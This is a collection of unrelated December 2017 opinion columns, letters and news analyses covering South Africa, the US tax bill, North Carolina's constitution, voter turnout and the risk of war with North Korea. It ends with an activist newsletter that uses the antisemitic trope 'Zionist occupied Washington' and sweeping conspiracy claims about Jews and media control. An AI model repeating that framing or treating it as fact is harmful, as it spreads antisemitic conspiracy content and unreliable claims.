Racial justice, economic efficiency and redistribution of income and wealth in South Africa are not incompatible aims, if they are balanced and carefully pursued. If businesses are to have a larger representation of black managers and owners, this should be done in an orderly way, with the retention of whatever skills are required to make the businesses, mines and farms still run profitably for the good of all the people of South Africa. The government too needs to be run for the people, and the obscene theft of state funds by individuals and families through the process of state capture has to be ended, not just because it is simply illegal and immoral, but because it destroys economic confidence and undermines investment. The great disappointment of ANC rule has been its failure to do more for the poor, overwhelmingly black, sections of South African society; the legacy of apartheid is, at best, only partly to blame for that.

South Africa is an emerging economy with vast potential still to become an economic powerhouse for Africa. As a nation that derives so much of its living from raw materials and minerals that are produced by a relatively small number of companies and which are incestuously regulated by a state that derives much of its income from them, it is as open to high-level corruption, or state capture, as the likes of Russia, Saudi Arabia, Nigeria or Kazakhstan, countries with a similar reliance on natural resources.

Apartheid-era structures and laws have only helped reinforce authoritarian habits (as happened when Robert Mugabe used the self-same laws that had been used to persecute him under white rule to persecute any and all of his enemies). Today, with change in Zimbabwe and South Africa, and with a reformist government in Angola, the region comprising the Southern Africa Development Community is an opportunity for a few years of self-reinforcing strong growth. That will do more to lift Southern Africans out of poverty than nationalising companies and handing the assets over to a new elite of kleptocrats.

As it happens, South Africa, for all its problems, has a stronger foundation and spirit as a democratic state with a free press and an independent judiciary than many others. Many recall queueing for hours in the first free elections in 1994, and the years of struggle that preceded them. There was never any room for complacency, however, and the current schisms in the ANC create themselves new dangers for the country. If the future prosperity and security of the people of South Africa requires that a discreet veil is drawn over the Zuma years, and the old man is allowed to live his days out in some ill-gotten luxury, then Mr Ramaphosa, like many of the other great pragmatic leaders of the ANC, should follow the example of Mandela, and look forwards rather than focusing on the sins of the past.
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The moment is almost upon us: seated at a grand desk in the White House a beaming Donald Trump will shortly wield his pen to sign the first major rewriting of the American tax code in decades into law. Actually, according to tradition, he will use several pens, which he will then distribute to his Republican friends from Capitol Hill as souvenirs of their moment of victory.

The smiles in the room will have more wattage than the Christmas tree lights at Rockefeller Center. And behind them will reside the answer to one of the more urgent questions of the year: why has the party of Reagan and Lincoln been so loathe to criticize, let alone openly challenge, a leader who has done so much to sully its reputation and undermine its moral standing?

The reason is suddenly obvious. Its not because Paul Ryan, the speaker of the House, and Mitch McConnell, his counterpart in the Senate, are just craven or weak. They maintained a front of virtual indifference to Trumps assorted sins - you know what they are by now - not because of mere feebleness. It was because they never lost faith that this day would come.

Look, even those few in the party who have made stands of one sort or another against him fell into line to give the tax bill life. John McCain wont actually vote because of ill health. But he declared his support for it. Jeff Flake and Bob Corker, both of whom are retiring from the Senate, made brief shows of opposition before promising to vote yea. You thought moderates Susan Collins and Lisa Murkowski of Maine and Alaska might resist? You thought wrong.

Its perfectly possible the Republicans are walking into a trap. Because they failed to bring even one Democrat on board, they alone will own this. And there is plenty of reason to suspect that it will not turn out to be the giant Yuletide gift to the middle class that Trump says it is.

In fact, the backlash has already begun. A CBS News poll this week showed how unpopular it has become even before its completion. Only one in five Americans believe Trumps pitch that it will lower their annual tax bills. And three quarters of them have become convinced that by far the biggest beneficiaries of it will be mega-corporations and those who are already super-rich.

That this is the perception is not surprising. Since its accurate. A new report by the non-partisan Tax Policy Center said that while it would lower taxes for 95 percent of Americans next year, on average the cuts for the highest earners will far exceed those of everyone else. Moreover, those cuts that may help the middle class will expire after just a few years. In ten years time, 53 per cent of Americans will pay more in taxes. The cuts in corporate taxes have no expiration date.

The way it has been written, this law gives an open door to Democrats who, in fighting to regain control of Congress next November, will focus like a laser on the notion that Republicans care only about the very rich and that Trumps promise to help the forgotten is no more than a fraud.

Yet the Republicans see nothing not to like. Trump has trampled on a multitude of things they are meant to hold dear - free trade, engagement with the allies, general rectitude and on and on - but on this one issue he has played with the orchestra. Harnessed together, Trump, McConnell and Ryan are delivering on a single, familiar orthodoxy: that you help the middle class by helping the rich first. Giving to the haves will eventually help the have-nots.

Indeed, no strand of the Republican DNA is more strong or enduring. At one point, this supply-side approach to boosting prosperity was called Reaganomics (even though Reagan was eventually forced to raise taxes after slashing them because he ran out of money). But it dates back even further to Presidents Harding and Coolidge in the 1920s. No amount of evidence that trickle-down does not in fact work as advertised has cooled the partys ardour for it.

Adding to the general air of jubilation on the GOP benches is the dirty truth that skewing the tax equation this way will be of immediate and direct benefit to the very rich folk who will be donating to their campaigns next year. Its been a pretty miserable year for cash inflows to the party coffers, but watch the taps spring open the moment the ink from Trumps pen is dry. For those members of Congress thinking about retirement in favor of some high-paid job in the private sector, the opportunity to ensure they'll pay less in taxes surely had its appeal too.

That the law also rescinds the mandate at the heart of Obamacare requiring most Americans to buy health insurance is just the icing on the cake. The Republicans failed horribly in their attempts to repeal the healthcare law earlier this year. This doesnt quite do that, but may very well have much the same effect. Without the mandate obliging all Americans to buy policies, premiums will soar making it all but certain that Obamacare will self-destruct all on its own.

Barring any unexpected hitches, the votes in the House and the Senate for the new tax code may already have happened when you read this. Many of us will then watch and weep when the finalised law makes it to Trumps desk. But not so the Republicans. They will be celebrating like they havent in a very long time. They will hug each other and they will also hug Trump.
One of the consistent themes in the news these days is how divisive politics on the national scene have become. Look around and its easy to see where the division begins.

While the Republicans were busy salvaging their reputations, and possibly the partys future, by negotiating and preparing to pass wide-ranging tax reform, what were Democrats doing? Merely bad-mouthing the process, offering no solutions, and making wild claims of gloom and doom that may very well provide a path to their own irrelevancy, depending on the success or failure of our economy in the year ahead.

Nancy Pelosi, House Minority Leader from California, actually referred to the Republican plan as Armageddon. Ron Wyden, a Senate Democrat from Oregon, called it the ultimate betrayal of the middle class in a fit of hyperventilating hyperbole.

As a point of reference Democrats wholeheartedly rejected the plan, as in no Democratic members of the House or Senate voted to support it.

Instead of working toward bipartisan support of needed tax reform, something that hasnt occurred since the mid-1980s, Dems used the same tiresome excuses that have become their default reactions to budget cuts and tax reform. Theyre favoring the rich, said Pelosi and other party leaders, including Chuck Schumer (Senator from New York). Theyre putting the burden on the middle class, they whined. And the best one: theyre increasing the deficit.

After eight years of policies that effectively did all of the above, Democrats are suddenly worried about the deficit, of all things? This is the same party that enacted a massive overhaul of medical care that placed the federal governmentthe no mans land of effective resource managementin charge of a major portion of our economy. They even went so far as mandate insurance coverage, something Republicans are, hopefully, rejecting.

So who is being divisive?

If the current effort for tax reform comes to fruition, then the resulting economic growth could put Democrats in a tenuous position in the next cycle or two of elections. Without doubt, the success of Democratic opposition could depend on whether the current economic rebound continues over the next two to three years. The economy is a fickle bedfellow for politicians, but we have the decades of economic growth wrought by Ronald Reagans tax reform to gauge the potential success of reform now under consideration.

That, of course, demonstrates the gamble Democrats are making. Knee-jerk obstinance is not a political strategynot a wise one at least. Yet the party defies political common sense at every turn.

That is because the puerile behavior of Democrats doesnt merely stop at policyor even address policy on a constructive philosophical plane. The strategy, in fact, is based on personality more than policy. Dems have adopted an Oppose Everything Trump agenda that is predicated on Trumps supposed inability to maintain support.

Backed by a potentially robust economy that is already beginning to bloom, even without tax reform, Trumps support may not be as tenuous as the opposition party expects. It appears to be a boom or bust strategy by the Dems.

As a way of explanation, consider the ongoing probe of alleged collusion between the Russians and the Trump campaign, a fantasy probe led by former FBI Director Robert Mueller that so far appears to be headed nowhere in terms of Russian collusionunless its collusion among the federal employees who may have been involved in the effort to discredit and stop Trump during his presidential run. The so-called Trump Dossier weve heard so much about appears to have been funded by Democrats and possibly enabled by federal employees. Thats not to mention whether the Trump Dossier was used as an excuse to spy on Trump operatives during the election. So who is being divisive?

Many of Muellers lieutenants in the Russian probe, meanwhile, have been exposed for expressing deep anti-Trump sentiments, and in some cases they have strong ties to the Clintons. At some point this has to exceed the bounds of moral or ethical behavior and enter the realm of whether or not the actions of many people in high positions constitute illegal behavior.

Consider also the role of the media, where the anti-Trump rhetoric even exceeds that of the Democratic Party leaders. Pelosi and Schumer have nothing on The New York Times, CNN, NBC, and the like.

Its as if the policy failures of the Democratic Party over the last eight years never occurred. As if the stagnant economy, meddlesome and stifling government oversight, divisive policy decisions, and the desperate and unethical behavior in the last presidential election cycle never happened.

The product of this bizarre period in our countrys history is what occurs when policy failures and a larger federal government comprise a political footprint large enough to help elevate a reality TV star to the office of president. Democrats can bad-mouth Donald Trump all they want, but their own failures and misdeeds helped put the man in office. Given the alternativeHillary Clintonhis ascension to the office was nothing short of a blessing for freedom and democracy.

This all takes us back to the division that marks the country. Division, by the way, is encouraged by the identity politics of the left in recent years. But division in politics is really nothing new, its just exacerbated by the lefts inability to get its way since the last election. Liberals pout, talk about division, and pooch their lips out only when they dont get their way.

Division has been around for as long as weve had a democratic society. Local politics, in particular, have been about us versus them for as long as I can remember.

We are not, however, talking about the pettiness that often marks local politics. This mess involves the behavior of people considered among the leaders of the worlds foremost democratic society.

The writer is a former journalist who teaches at Hickory Ridge High School. He can be reached via lgcothren@aol.com.
For most of the 241 years since North Carolina adopted its first Constitution there have been arguments about the proper balance and separations of power between the legislative, executive and judicial branches of government. Our Constitution has generally served us well, but recent court cases and legislation suggest we need to revise our governing document.

A Constitution is essentially a contract between the people and its government. It was never intended to be a one and done document; neither was it designed to be changed too frequently. There have been two major revisions since the 1776 Constitution. The first, following the Civil War in 1868, gave more power to the Governor and the people. The latest, the 1971 Constitution, eliminated some unconstitutional provisions, updated the language and better organized the document. Since its passage there have been 20 Amendments, including requirements for a balanced budget, that judges be lawyers, allowing gubernatorial succession, giving the Governor the veto power and adding Victims Rights.

The basic understanding of our government is that the General Assembly will pass laws, the Governor and Council of State will administer and execute those laws and the courts will interpret laws to determine their constitutionality and dispense justice.

In recent months we have seen many challenges to our Constitution. It would be helpful if there were further clarity delineating the separation of powers between the executive and legislative branches. While the governance of public education was better defined in the 1971 Constitution, questions still linger as to who is in charge. Issues such as redistricting, election laws, eminent domain and proper uses of public money deserve clarification, but nowhere is the need for change better illustrated than in the recent debates of our judiciary.

What we desire is having the best judges deciding court cases. This involves how we select them, how long they should serve and how to ensure they are making valid judicial decisions. There is documented evidence that the public seldom knows the legal qualifications or the character of prospective judges for whom they vote and for decades we have discussed potential improvements as to how to put the best qualified jurists in our courtrooms. While the public is not inclined to give up their right to vote for judges there is mounting evidence justice would be better served with some nonpartisan, impartial selection process.

Lawmakers have frequently been irked that courts rule against laws they have passed and often assert judicial decisions are politically motivated. We doubt that is often the case, but assuming there is some truth to the claims, how is justice better served by requiring that judicial candidates list their political affiliations on the election ballot? Currently our legislature is considering changing the length of judicial terms to two years, another questionable consideration. This would require judges have to frequently stand for election. Do you want a partisan politician determining your fate in a court case or someone who delivers verdicts based on the rule of law and our Constitution?

Collectively, the many challenges make the case that it is time for us to once again review and revise our state Constitution. Its been almost half a century since it was last done. We need a new state contract.

Tom Campbell is former assistant North Carolina State Treasurer and is creator/host of NC SPIN, a weekly statewide television discussion of NC issues. Show airs in Charlotte on WCCB Sundays at 6:30 a.m.
Congratulations to the local election winners. Good choices were made by the voters,

However it is most disappointing that only 12.6 percent of eligible voters casted votes.

With many contests having more than two choices it resulted in some winners having only 5 to 6 percent of the people selecting them. It is counter-intuitive that with generous early voting, absentee ballots readily available, multiple precincts, no voter ID required; so few voted.

Even in Presidential year elections our country has only about a 40% turnout rate. This phenomenon should stop people from complaining about their government. Only voters should have viable voices.

Some would say we get what we deserve. Others would say it makes no difference.

If we are to have a representative government then the burden is on us to participate in the

democratic process of voting.

Australia levies a fine on citizens who do not vote. Maybe this would help us to balance the governmental budgets. We are well served by our local representatives. They clearly deserve our voices to be heard in the voting booths.

LeRoy Deabler

Concord
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By Anthony Cuthbertson

December 18, 2017 " Information Clearing House " - The United States Military has conducted joint training operations with South Korean forces to practice removing nuclear weapons from North Korea in the event of war, according to reports.

Citing military sources, South Koreas Yonhap News Agency reported that the Warrior Strike exercise took place north of Seoul between Tuesday and Friday. Hundreds of soldiers from both sides took part in the training to remove weapons of mass destruction from the North.

The training exercise comes amid escalating tensions between North Korea and its perceived enemies, with Russia and China also conducting air defense drills against the rogue state this week.

President Donald Trump previously stated that the United States would use fire and fury to totally destroy North Korea, and referred to North Korean leader Kim Jong Un as a madman and little rocket man.

Those remarks prompted Rep. Ted Lieu and Rep. Ruben Gallego to send a letter to Defense Secretary James Mattis in September outlining concerns surrounding the use of military force against North Korea.

We believe it is wrong to use military force without first exhausting all other options, including diplomacy, the letter stated. We also believe it would be unconstitutional for the Administration to start a war with North Korea without Congressional authorization.

Mattis responded to the letter on October 27 via the Office of the Chairman of the Joint Chiefs of Staff, saying, The only way to locate and destroywith complete certaintyall components of North Koreas nuclear weapons programs is through a ground invasion.

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Experts have warned that a ground invasion of North Korea would get very bloody, very quickly, with Mark Fitzpatrick, executive director of the International Institute for Strategic Studies, telling Newsweek last month that any ground invasion would be part of a multipronged effort.

The key part of a ground invasion would be the effort to seize North Koreas nuclear assets, Fitzpatrick said. [The U.S.] wouldnt wait too long until after war-level hostilities broke out. They would have to try to seize them before theyre used.

U.S. government estimates suggest that North Korea has spent roughly a quarter of its GDP on military spending, which includes its cyber and missile programs as well as its vast armed forces.

Analysis from the International Institute for Strategic Studies (IISS), a British think tank based in London, suggests North Korea possesses the fourth largest army in the world, with just over 1 million soldiers.

In a 2015 report, the IISS claimed that despite its size, North Korea remains reliant on a predominantly obsolescent equipment inventory across all three services.
December 18, 2017 " Information Clearing House " - The reality of war with North Korea is almost too terrifying to imagine.

Experts say the Norths artillery could kill tens of thousands of civilians in Seoul, South Koreas densely populated capital, within the first hours of a conflict. A protracted fight would lead to destruction on the Korean Peninsula on a scale unheard of since the Korean War in the 1950s, with millions of deaths on both sides.

The Norths nuclear missiles could easily reach Tokyo; most major American cities are also within their range. Imagine a nuclear strike on New York City  hundreds of thousands of Americans dead or irradiated in a catastrophe that would dwarf 9/11 by multiple orders of magnitude  and you start to understand whats at risk here.

But heres the genuinely scary thing. Numerous conversations with US policymakers, former US government officials, and experts all point to one disturbing conclusion: Far from being unthinkable, a war with North Korea is becoming more likely by the day.

We are far closer to actual conflict over North Korea than the American people realize, says Sen. Tammy Duckworth (D-IL), an Iraq War veteran and Purple Heart recipient. Everything were doing shows a military that, in my personal opinion, has turned the corner ... the president is likely to make this decision [to attack], and we need to be ready.

North Koreas escalating behavior  most notably its recent 2017 tests of powerful nuclear bombs and intercontinental ballistic missiles  has prompted an extremely aggressive response from President Trump. He has threatened to totally destroy North Korea, and to respond to its missile tests with fire and fury like the world has never seen. He has tweeted that negotiations with the North have made fools of US negotiators," that the secretary of state was wasting his time trying to talk North Korea, and that only one thing will work when it comes to fixing the North Korea standoff  seemingly implying a willingness to use force.

There are two reasons to take all of this saber rattling seriously. First, the president might mean what he says: Theres a real chance that he and some of his top advisers truly believe Kim Jong Uns recent behavior proves that he cant be deterred and that launching a military strike against now, before the Norths nuclear program gets any stronger, is the least bad option.

But even if they are just bluffing, North Koreas leaders cant be sure about that, because they dont have a great read on American intentions. This could lead Pyongyang to conclude an attack is imminent even when it isnt and attempt to preempt a US strike with its own attack  potentially kicking off a war nobody actually wants.

This doesnt mean war is inevitable. Political and military leaders on both sides of the conflict have for decades understood how disastrous the fighting would be for everyone involved, and have chosen time and time again to back down in situations that looked like they could escalate into a full-scale conflict.

But Kim Jong Uns provocations, and Trumps angry and unpredictable responses, have combined to make the situation genuinely more dangerous than it has been in the past. And there seems to be virtually no serious public debate going on over how to stop things from going wrong.

We should be worried, says Mira Rapp-Hooper, a North Korea expert at Yale University. Given the stakes were talking about, nobody should be comfortable.

Why Trump may be willing to launch a catastrophic war

Rhetoric from the president, who has final and essentially unrestricted power to use force, suggests he is open to war with North Korea. But discerning actual policy decisions from Trumps Twitter and public comments can be difficult. To get a deeper read on what the White House may actually be thinking, looking at two other sources is instructive: Trumps top advisers and the US militarys actions.

Both are quite worrying.

Trumps advisers are, in theory, supposed to prevent him from making any rash and potentially catastrophic decisions. National Security Adviser H.R. McMaster, for example, is a decorated three-star general and the author of a well-regarded book, Dereliction of Duty, which focuses on how President Lyndon Johnsons advisers failed to warn him away from disastrous escalation in Vietnam. McMaster, of all people, should know the true costs of letting a president get into a war he isnt prepared for.

Yet he has spent months arguing that the North Korean regime is not rational, meaning that it cannot be deterred by the threat of US military retaliation. Thats an important point: If McMaster believes that North Korea cannot be deterred by the threat of force, the only logical conclusion is that the US should strike before the North has more time to expand and improve its nuclear arsenal. And he has suggested publicly that war is in the offing.

The risk of war with North Korea is increasing every day, McMaster said in early December. There are ways to address this problem short of armed conflict, [but] theres not much time left.

CIA Director Mike Pompeo, rumored to be the top pick for secretary of state after Rex Tillersons expected departure, has taken a similarly hawkish line  warning in July that the most dangerous part of North Koreas nuclear weapons is the character who holds the control over them and suggesting that North Korean leader Kim Jong Un might well have intent to use those weapons against the United States.

These voices arent unopposed in Trumps war cabinet; both Tillerson and Defense Secretary James Mattis have been more cautious in their characterization of North Korea. Tillerson is clearly marginalized in the White House, with rumors of his departure coming seemingly weekly, but there is a general sense among Trump Kremlinologists that Mattis has the presidents ear.

Yet we cant assume Mattis is reining in McMaster and Pompeo. For one thing, the president seems more inclined to agree with the hawkish voices on his staff than the cautious ones. For another, the normal interagency policy planning process that helps presidents make big decisions like this  where relevant experts from around the government weigh in  isnt working well.

Due to both Trump, who has failed to appoint people to key positions in the departments of State and Defense, and Tillerson, who has done an extremely poor job managing Americas diplomats, the administration lacks vital input from North Korea experts. There is, for example, no ambassador to South Korea in place.

Trump nominated respected Georgetown professor Victor Cha to the post in mid-December, but Cha still has to go through the Senate confirmation process before he can start, a process that could take months. Positions of this significance are almost never left vacant this long; with them unfilled, Trump and his top decision-makers arent getting vital information that could push them off their dangerous path.

Part of whats concerning me about all of this is how few North Korea and Asia hands are in the proper political positions, says Rapp-Hooper. McMaster, who is not an Asia hand or a nuclear weapons expert, is running [the] national security process  but does not have an assistant secretary of state for East Asia.

Perhaps the most ominous sign in all of this is that the US military seems to be taking steps to prepare for conflict in North Korea that go beyond their normal troop rotations.

Over the past year, the US military has been quietly ramping up its presence near the Korean Peninsula. The Washington Posts Dan Lamothe reported in October that the US military was deploying classified strategic assets  most likely meaning submarines, aircraft carriers, nuclear weapons or bombers, per Lamothe  to the peninsula.

Around the same time, South Korean Defense Minister Song Young-moo announced that Washington and Seoul would step up relevant cooperation involving strategic assets, including studies to improve deterrence against North Korea. The two nations have held several previously unplanned military exercises in late fall and early winter 2017.

These public actions, according to people with direct knowledge of the US militarys thinking, reflect a real sense inside the Pentagon that the president might actually pull the trigger.

There are more serious conversations [now] happening inside the Department of Defense about military action than had been happening earlier in the year, Sen. Chris Murphy, who sits on the Senate Foreign Relations Committee, told me in early December. These preparations, together with the presidents rhetoric, have made him worried about Trumps willingness to launch a preemptive strike.

His worries are very much shared by some outside experts.

If McMaster [and] Trump are serious, God help us says Kingston Reif, the director for disarmament and threat reduction policy at the Arms Control Association.

The Trump administrations rhetoric makes North Korea more likely to attack the US

Of course, all of this rhetoric could just be a giant bluff.

Many informed observers think McMaster is too smart to actually believe that North Korea cant be deterred, given that experts are virtually unanimous in believing the North has long been successfully deterred by the threat of American retaliation. On this view, the administrations rhetoric is principally about trying to scare China, North Koreas largest trading partner, which Trump has often blamed for the crisis. The ultimate aim would be for China to more aggressively deploy its immense economic leverage over North Korea to rein in Pyongyangs nuclear program.

I think its rhetorical ... a way of convincing third parties that we will not compromise, Joshua Pollack, an expert on North Koreas nuclear program at the Middlebury Institute of International Studies, told me.

Its nearly impossible to tell from the outside if this read is right. If the entire point of the administrations strategy is to convince other countries that the threat of force is credible, then the threat needs to seem, well, credible. Bluffs dont work if your opponent knows you have a 2-7, to use a poker analogy; they need to believe that youre holding two aces.

And therein lies the problem: Even if Trump is bluffing, the North Koreans cant be sure of that. They have to take the possibility of a US attack seriously because the United States has more than enough firepower to topple their government. Trumps aggressive rhetoric, whether serious or not, has put the North Koreans on high alert.

That in and of itself makes war more likely  even if no one actually wants it. Thats what keeps even experts like Pollack, who are dubious of Trumps first strike intentions, up at night.

If you believe that war is imminent, youre going to want to get your shot in first, he says. That is something the North Koreans have promised to do: If we see indications of an attack coming, were going to hit you first, and were going to use nuclear weapons.

From North Koreas point of view, this doctrine makes a grim kind of sense. While North Koreas military outnumbers that of its South Korean rivals (1.1 million active-duty soldiers compared to 630,000), the Souths forces are better trained and equipped with the latest technology. The North, by contrast, is stuck using knockoff Soviet-era tanks and aircraft. Add in the Souths alliance with the United States, by far the worlds most powerful military, and its clear to all observers that North Korea would lose any protracted conflict.

The only hope for North Korea is to anticipate an attack before it happens: to deal a devastating blow to both South Korea and the United States before the fighting really gets going and thus destroy its adversaries will to fight. This means that the North Koreans would launch a massive strike  potentially a nuclear one  against South Korea and US military targets if it believed either of these enemies was about to attack.

The Norths most fundamental military doctrine, then, relies almost entirely on reading American and South Korean intentions. Which is why a deliberate policy of making it seem like America is moving toward war with North Korea is so dangerous.

If the policy is working as intended, and the North Koreans really believe America is preparing a first strike, then the North Koreans will start preparing their own.

If somehow this is actually just a bluff, and an effort to set North Korea on its back foot by convincing it that were seriously thinking about military options, its nonetheless raising the risk of conflict because North Korea has first-strike incentives, Rapp-Hooper says.

This makes generally predictable interactions between North Korea and the United States  the kinds of North Korean weapons tests that have already escalated tensions, for example  into much more dangerous affairs.

Typically, the United States responds to North Korean provocations with some kind of show of force: a new military exercise with the South Koreans, an Air Force overflight of the Korean Peninsula, and so on. These are designed to signal resolve, and to show Pyongyang that the Washington-Seoul alliance remains strong.

But if North Korea is already worried about a US attack because of the Trump administrations threatening behavior, the risks that American signals get misread are higher.

What if North Korea sees an overflight as the first flight in a bombing raid, and shoots down American jets? What if, in the midst of a missile testinduced crisis, Trump or one of his top deputies says something indelicate  something that convinces an already paranoid leader that the US has settled on war?

These scenarios may sound hypothetical, but more North Korean provocations of one sort or another are inevitable. With Trump and Kim in power, each one of them has become a game of Russian roulette.

The more the US prepares for war, the more likely it becomes

For months before the United States invaded Iraq in both 1990 and 2003, the US military engaged in a massive buildup of troops and materiel in the region. North Korea learned a lesson from that: If America suddenly starts ramping up its military presence in your area, war is coming.

Going as far back as 1994, [the North Koreans] have said that they would not sit there like Iraq did and wait for the United States to build up its forces, Pollack told me. They would strike first under those circumstances. And now theyve said that were going to strike you with nuclear weapons, specifically.

This creates yet another pathway toward war.

The concern here is a kind of cycle of escalation. North Korea does something provocative, Trump says something aggressive in response, North Korea shows it isnt afraid with another provocation, and the cycle starts again. The more that tensions rise, the more the US military is forced to prepare for the chance that the president might really order them into battle.

Those preparations, most notably the kinds of increased troop deployments to the Korean Peninsula weve already been seeing, risk becoming a self-fulfilling prophecy. The North Koreans might read them not as worst-case preparations but as a buildup to a planned invasion a la Iraq. North Korean military doctrine, as far as we can tell publicly, heavily emphasizes strikes on US military positions in the East Asian region.

Just ramping up  prepositioning troops, stocks, and logistics in a place where we could do it  could prompt the North Koreans to do something, Sen. Duckworth told me.

Its important to note here that we also dont actually understand what red line  what kind of response to a missile test, what kind of military buildup  is likely to set off North Korea. The country is notoriously insular; its not clear who actually influences Kim Jong Un or how top decision-makers in Pyongyang assess the risk of war with the US.

There are no direct lines of communication between Trump and Kim, no good way to convey American intentions and reassure the North that war isnt coming. Sen. Murphy described the US government as flying blind when it comes to the Norths intentions.

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North Korean defectors, one of the worlds few good sources of information about the Kim regimes military policy, describe its forces as being on a hair-trigger alert  one where authority to launch an attack is delegated down to individual battlefield commanders who may have little to no understanding of what the US is doing.

There are tens of thousands of North Korean artillery and short range missiles, ready to fire at any moment, Thae Yong Ho, a former high-level North Korean diplomat, testified before the House Foreign Affairs Committee in November. North Korean officers are trained to press the button without further instruction from the general command if something happens on their side.

With both sides on such high alert and neither capable of being sure about what the other side wants, the chances that a misunderstanding could lead to a catastrophic war are dangerously high.

The public debate in the US does not match this reality

In the runup to the 2003 Iraq War, there was a major public debate in America about the wisdom of the Bush administrations strategy. It was lopsided, with pro-war voices drowning out antiwar ones, but it was nonetheless the topic in American public life  marked by massive protests and bitter arguments dividing the countrys intellectual class.

A war with North Korea would dwarf the 2003 Iraq War in scope and death toll, yet there is very little in the way of serious public debate happening right now about the risks posed by the Trump administrations approach  bluff or no.

This is most glaring in Congress, which (per the Constitution) is supposed to make the decision to declare war. In 2003, Bush went to Congress first to ask for authorization to invade. Yet theres no talk of Trump asking for a similar vote  just an assumption that he could strike whenever he wanted and the rest of the world would have to live with it.

Murphy has proposed a bill that would require congressional approval for a strike on North Korea, but when I asked him if he was getting any support from colleagues on Capitol Hill, his answer was a flat no.

These are muscles that we havent used in decades, having not authorized military action for 14 years, he said. Its hard given how much authority weve abdicated to the president over the past decade.

Beyond Congress, the broader public debate has been far more muted than it was in 2002-03. There have been no major antiwar demonstrations; public intellectuals seem to assume that war with North Korea is too scary, the possibility of such an awful war too remote, to be worth taking seriously.

Part of that is because, unlike the Bush administration did with the Iraq War, the Trump administration isnt presenting a united front in favor of war.

Theres no active campaign of trying to sell the American public on a war like there was in 2002-03, let alone one that relied on the kind of flimsy evidence that Bushs did. What weve gotten instead is a lot of mixed messages from the administration, a lot of signaling that it would be willing to use force (against a country thats demonstrably more of a threat than Iraq was), without a clear and unmistakable commitment to actually doing it.

On top of that, grassroots energy on the left, the natural leader of an antiwar coalition under a Republican president, has focused on domestic policy, like blocking Obamacare repeal and the travel ban. These issues are demonstrably real, not hypothetical; it makes sense for left-wing activists to prioritize them. But the result is that theres been little energy left over for a war that doesnt feel imminent to a lot of people.

So despite the chances of war with North Korea steadily rising, the issue doesnt have the dominant space in Americas national political dialogue. Theres a chance of conflict on a scale unseen since World War II, a war that could level entire American cities, and it feels like were sleepwalking toward it.

Among the small community of experts and policymakers who follow this issue closely, the alarm is palpable. These are the people who most clearly understand what the costs of war with North Korea could be and who most intimately understand the balance of forces on the Korean Peninsula. And they are very, very worried.

Ive been out on a window ledge, screaming about this since August, Rapp-Hooper says. I think its totally scary.
December 18, 2017 " Information Clearing House " - Tribalism and nationalism are rearing their ugly heads and people suffer.

The people of the world are waking up despite the fact that most mainstream

media is now "managed" to give that Zionist message of danger from Iran,

Hizballah etc, while ignoring war crimes and crimes against humanity being

perpetuated daily by Israel and its puppets like Mohammad Bin Salman. What

media is not managed, is blocked in most of the Arab world run by those

dictators. The mainstream media is complicit in ensuring people are not

aware of what is going on. Imagine if a Muslim sniper shot an American or a

Jewish double amputee who lost his legs to another Muslim attack years

earlier? How would the media have reacted. How would the media react if a

dictator who is not friendly to the US was doing what he and his senile

father were doing now. They just arrested the rich guys in their country

and even visiting rich guys from other countries (like Hariri from Lebanon

and Sabeeh Amasri from Jordan) and are stripping them of heir wealth! They

are beheading any opposition.



On good news, the growing mass movement exposing Israeli apartheid

continues to grow and the Zionists are feeling frustrated that despite

increased spending on propaganda by 20 fold over 15 years, the anti-Zionist

movement continues to grow. Instead of admitting they need to start to

respect human rights, Zionists debate doing more propaganda/hasbara. See

this must read report on the analysis by Zionists of their own-movement.



Trump's illegal move on Jerusalem is backfiring. It exposed all the puppets

paying the Zionist movement and bending over backward to please Zionist

occupied Washington. It is forcing those who were close to selling it all to

begin to back-track. It also exposed what Trump called the deal of the

century: profiting rich dictators and sacrificing tens of millions of

Palestinians, Egyptians, Yemenis, Hijazis (I refuse to use the term derived

from "Saudi Arabia") and other Arabs. To be precise the plan is sacrificing

the interests of 350 million Arabs and 1.6 billion Muslims for the short

term interests sake of a handful of billionaire Zionists and the Jews who

foolishly follow them to the edge of the cliff. Short term, the Trump plan

is to consolidate Israel's control over Jerusalem and the rest of the

occupied West Bank, settle refugees in Jordan and Sinai and strengthen

Israel's hand. The resistance forces stretching from Lebanon to Iran and

Yemen must be weakened to pass this horrible scheme. That is why these

resistance forces had to be defeated especially now that Iran, Syria,

Lebanon and Iraq won over the US/Israel created and funded "Islamist"

militias including the so called "Islamic State". Yet, the colonial idea of

divide and conquer is falling apart as resistance is coming from Shi'a and

Sunnis and Chrristians and Kurds and Druse and Yezidis and many others.

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Trump made his biggest plunder by his Jerusalem announcement. The Sunni and

Shia leaders who gathered in Istanbul included heavy weights like Turkish

leader Erdogan and Iranian leader Rouhani. Despite heavy pressure and

blackmail from the "Saudi" puppets, Mahmoud Abbas and King Hussain also

attended. Much will now happen but Trump and his Zionist son-in-law have

only a few more cards they think they can play (but they will be equally

catastrophic blunders). Conflict and suffering will ensue but there are no

winners in 21st century wars. Spoiled teenage Israel might be the biggest

loser of the Zionist gamble. They and their sponsors like Trump think they

can manage to continue to exploit and go against the will of the majority

of the 1.6 billion Muslims and 2.5 billion Christians (and some 3 million

anti-Zionist and post-Zionist Jews). Sorry folks: Jerusalem will not be a

"Jewish capital" and not even a capital of apartheid Israel. But the price

of arrogance can be high.



Whenever I think the Israeli army had sunk to the lowest level, they

surprise me more. For an Israeli nipper to assassinate a double amputee in

his wheel chair is beyond sick (the civilian Ibrahim Abutharya had lost his

legs to a previous zionist attack on Gaza). In another case, a child who

was jailed at 13 for 3 months for demonstrating was hit in the head and s

in critical condition (Mohd Tamimi of Nebi Saleh is now 15 and fighting

for his life). Words escape me.

http://www.aljazeera.com/news/2017/12/palestinian-double-amputee-killed-israeli-sniper-171216113544411.html

https://972mag.com/in-gaza-israel-is-shooting-fish-in-a-barrel/131607/



An anti-tank guided weapon made in Europe and sold to the United States,

ended up in the hands of Daesh in Iraq within just two months, the Conflict

Armament Research (CAR) group said in a newly-published report. The

acquisition of an anti-tank weapon by Daesh exposes the fact the CIA

knowingly took great risks to arm extremists in a desperate bid to oust

Syrian President Bashar Assad

https://sputniknews.com/analysis/201712161060048524-daesh-anti-tank-missile-cia



The unknown hell of Palestinian refugees in Lebanon

http://www.jadaliyya.com/Details/24817/The-Unknown-Hell-of-Palestinian-Refugees-in-Lebanon



Where Does the PLO Leadership Go After Jerusalem?

http://www.sharqforum.org/2017/12/11/where-does-the-plo-leadership-go-after-jerusalem/

[they are meeting tonight to decide what to do. I hope they take real

couragous positions and end the charade of Oslo]



